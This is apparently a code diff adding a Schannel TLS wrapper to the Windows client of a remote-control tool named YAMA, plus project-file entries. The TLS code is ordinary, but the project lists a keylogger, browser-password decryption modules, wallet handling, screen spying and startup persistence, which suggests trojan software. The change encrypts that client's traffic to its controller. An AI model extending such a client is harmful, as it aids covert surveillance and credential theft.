int TlsChannel::Send(SOCKET sock, const char* data, int len)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
if (!m_ready)
|
||||
return SOCKET_ERROR;
|
||||
if (len <= 0)
|
||||
return 0;
|
||||
|
||||
ULONG maxMsg = m_sizes.cbMaximumMessage > 0 ? m_sizes.cbMaximumMessage : 16384;
|
||||
int total = 0;
|
||||
while (total < len) {
|
||||
int chunk = (len - total > (int)maxMsg) ? (int)maxMsg : (len - total);
|
||||
|
||||
std::vector<BYTE> rec(m_sizes.cbHeader + chunk + m_sizes.cbTrailer);
|
||||
BYTE* hdr = rec.data();
|
||||
BYTE* body = hdr + m_sizes.cbHeader;
|
||||
BYTE* trailer = body + chunk;
|
||||
memcpy(body, data + total, chunk);
|
||||
|
||||
SecBuffer bufs[4] = {
|
||||
{ m_sizes.cbHeader, SECBUFFER_STREAM_HEADER, hdr },
|
||||
{ (ULONG)chunk, SECBUFFER_DATA, body },
|
||||
{ m_sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, trailer },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
};
|
||||
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
|
||||
SECURITY_STATUS sc = EncryptMessage(&m_ctx, 0, &desc, 0);
|
||||
if (FAILED(sc)) {
|
||||
return total > 0 ? total : SOCKET_ERROR;
|
||||
}
|
||||
|
||||
int wireLen = bufs[0].cbBuffer + bufs[1].cbBuffer + bufs[2].cbBuffer;
|
||||
if (!SendAll(sock, rec.data(), wireLen)) {
|
||||
return total > 0 ? total : SOCKET_ERROR;
|
||||
}
|
||||
total += chunk;
|
||||
}
|
||||
return total;
|
||||
}
|
||||
|
||||
#endif // _WIN32
|
||||
@@ -0,0 +1,88 @@
|
||||
// TlsChannel.h — Windows 客户端单向 TLS(Schannel)会话封装
|
||||
//
|
||||
// 用途:为 YAMA 客户端(被控端)提供「按需开启」的传输层加密。当信任锚证书存在时
|
||||
// (注册表 Software\<exehash>\settings\tls_cert,或 yama-ca.pem 文件,见 TlsChannel.cpp
|
||||
// 的 InitTls),所有出站 TCP 连接在应用协议首包前先完成 TLS 握手;握手失败一律断开
|
||||
// (fail-closed,不回退明文)。
|
||||
//
|
||||
// 选型:Schannel(Windows 原生 SSPI),零第三方依赖;secur32.lib / crypt32.lib 为
|
||||
// 系统库。单向 TLS:客户端只校验服务端证书链到固定的信任锚,不提供客户端证书,
|
||||
// 客户端身份仍由隧道内登录(V1 PwdHmac / V2 ECDSA)承担。
|
||||
//
|
||||
// 线程模型:Handshake 在连接建立线程上、m_bConnected 置位前调用;Send/Recv 分别在
|
||||
// 发送线程 / 接收线程上调用。上下文生命周期(Handshake/CloseHandles 释放 m_ctx)与
|
||||
// Send/Recv 对 m_ctx 的使用(EncryptMessage/DecryptMessage)由 m_ctxMtx 互斥,避免
|
||||
// 重连线程释放上下文时与使用线程产生 use-after-free。本对象作为 IOCPClient 的值成员
|
||||
// 存在,析构时释放上下文。
|
||||
//
|
||||
// 注意:本文件仅在 _WIN32 下有效,非 Windows 构建(Linux/macOS/Android)不含任何内容,
|
||||
// 客户端维持明文(TLS 接入按设计文档延后)。
|
||||
#pragma once
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#include <WinSock2.h>
|
||||
|
||||
#ifndef SECURITY_WIN32
|
||||
#define SECURITY_WIN32 1
|
||||
#endif
|
||||
#include <security.h>
|
||||
#include <schannel.h>
|
||||
|
||||
#include <mutex>
|
||||
#include <vector>
|
||||
|
||||
// 进程级 TLS 开关:首次调用时加载信任锚(注册表或文件),返回是否启用。线程安全、幂等。
|
||||
bool TlsEnabled();
|
||||
|
||||
// 信任锚已配置但加载失败(损坏/格式错误)时为 true:表示管理员已「颁发」证书,
|
||||
// 客户端必须拒绝连接(fail-closed),不得静默回退明文。线程安全、幂等。
|
||||
bool TlsLoadError();
|
||||
|
||||
class TlsChannel
|
||||
{
|
||||
public:
|
||||
TlsChannel() {}
|
||||
~TlsChannel() { CloseHandles(); }
|
||||
|
||||
// 持 Schannel 句柄,禁止拷贝/赋值(避免句柄被二次释放)。
|
||||
TlsChannel(const TlsChannel&) = delete;
|
||||
TlsChannel& operator=(const TlsChannel&) = delete;
|
||||
|
||||
// 在已连通的 socket 上完成 TLS 客户端握手并校验服务端证书链。失败返回 false,
|
||||
// 调用方必须关闭 socket(fail-closed)。可重复调用(重连时复用同一对象)。
|
||||
bool Handshake(SOCKET sock);
|
||||
|
||||
// 解密读取:返回 >0 的明文字节数;0 表示对端正常关闭;SOCKET_ERROR(-1) 出错。
|
||||
int Recv(SOCKET sock, char* buf, int len);
|
||||
|
||||
// 加密发送 len 字节:成功返回已完整发送的明文字节数(== len);失败返回已发送的
|
||||
// 前缀字节数(>0)或 SOCKET_ERROR(一个字节都没发出去时)。
|
||||
int Send(SOCKET sock, const char* buf, int len);
|
||||
|
||||
// 是否有已解密但尚未交付给应用层的明文(供接收线程在 select 前优先消费)。
|
||||
bool HasPending() const { return !m_pending.empty(); }
|
||||
|
||||
private:
|
||||
void CloseHandles();
|
||||
bool SendAll(SOCKET sock, const void* data, int len);
|
||||
bool VerifyServerCert();
|
||||
|
||||
CredHandle m_cred = {};
|
||||
CtxtHandle m_ctx = {};
|
||||
bool m_credValid = false; // m_cred 已分配,需 FreeCredentialsHandle
|
||||
bool m_ctxValid = false; // m_ctx 已分配,需 DeleteSecurityContext
|
||||
bool m_ready = false; // 握手完成,Send/Recv 可用
|
||||
|
||||
SecPkgContext_StreamSizes m_sizes = {};
|
||||
|
||||
// 保护上下文生命周期:重连线程的 Handshake/CloseHandles(释放 m_ctx)与工作线程的
|
||||
// Recv(DecryptMessage)、发送线程的 Send(EncryptMessage)互斥,避免 use-after-free。
|
||||
// recursive 是因为 Handshake 内部会再调 CloseHandles。
|
||||
std::recursive_mutex m_ctxMtx;
|
||||
|
||||
std::vector<BYTE> m_raw; // 尚未解密 / 未消费完的 TLS 记录原始字节
|
||||
std::vector<BYTE> m_pending; // 已解密、未交付给应用层的明文
|
||||
};
|
||||
|
||||
#endif // _WIN32
|
||||
@@ -233,6 +233,7 @@
|
||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="TlsChannel.cpp" />
|
||||
<ClCompile Include="ChatManager.cpp" />
|
||||
<ClCompile Include="MachineManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
@@ -299,6 +300,7 @@
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="VideoEncoderBase.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="TlsChannel.h" />
|
||||
<ClInclude Include="ChatManager.h" />
|
||||
<ClInclude Include="MachineManager.h" />
|
||||
<ClInclude Include="yapi.hpp" />
|
||||
|
||||
@@ -0,0 +1,204 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\file_upload.cpp" />
|
||||
<ClCompile Include="..\common\ikcp.c" />
|
||||
<ClCompile Include="..\common\zstd_wrapper.c" />
|
||||
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
||||
<ClCompile Include="ActivityHistory.cpp" />
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="clang_rt_compat.c" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp" />
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="KeyboardManager.cpp" />
|
||||
<ClCompile Include="keylogger.cpp" />
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="ClientLogManager.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenPreview.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ConnectionsManager.cpp" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="session.cpp" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
|
||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="TlsChannel.cpp" />
|
||||
<ClCompile Include="ChatManager.cpp" />
|
||||
<ClCompile Include="MachineManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
<ClCompile Include="decrypt\DecryptManager.cpp">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\Get360seInfo.cpp">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\GetBrowserInfo.cpp">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\UnCode.cpp">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\sqlite3\rijndael.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\sqlite3\sqlite3.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\cJSON\cJSON.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\cJSON\cJSON_Utils.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\base64\base64.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\file_upload.h" />
|
||||
<ClInclude Include="..\common\ikcp.h" />
|
||||
<ClInclude Include="..\common\mask.h" />
|
||||
<ClInclude Include="..\common\wallet.h" />
|
||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||
<ClInclude Include="ActivityHistory.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="auto_start.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="ClientApp.h" />
|
||||
<ClInclude Include="clip.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="domain_pool.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||
<ClInclude Include="DrawingBoardMgr.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="keylogger.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="ClientLogManager.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="my_clip.h" />
|
||||
<ClInclude Include="proxy\ProxyManager.h" />
|
||||
<ClInclude Include="RegisterManager.h" />
|
||||
<ClInclude Include="RegisterOperation.h" />
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="SafeThread.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenPreview.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ConnectionsManager.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="session.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||
<ClInclude Include="EncoderFactory.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="VideoEncoderBase.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="TlsChannel.h" />
|
||||
<ClInclude Include="ChatManager.h" />
|
||||
<ClInclude Include="MachineManager.h" />
|
||||
<ClInclude Include="yapi.hpp" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
<ClInclude Include="decrypt\DecryptManager.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\Get360seInfo.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\GetBrowserInfo.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\UnCode.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\sqlite3\rijndael.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\sqlite3\sqlite3.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\sqlite3\sqlite3ext.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\cJSON\cJSON.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\cJSON\cJSON_Utils.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\base64\base64.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico" />
|
||||
<Image Include="Res\msg.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="decrypt">
|
||||
<UniqueIdentifier>{4b839e4d-0a78-4ee2-8965-bfb259b28273}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
Reference in new issue
Block a user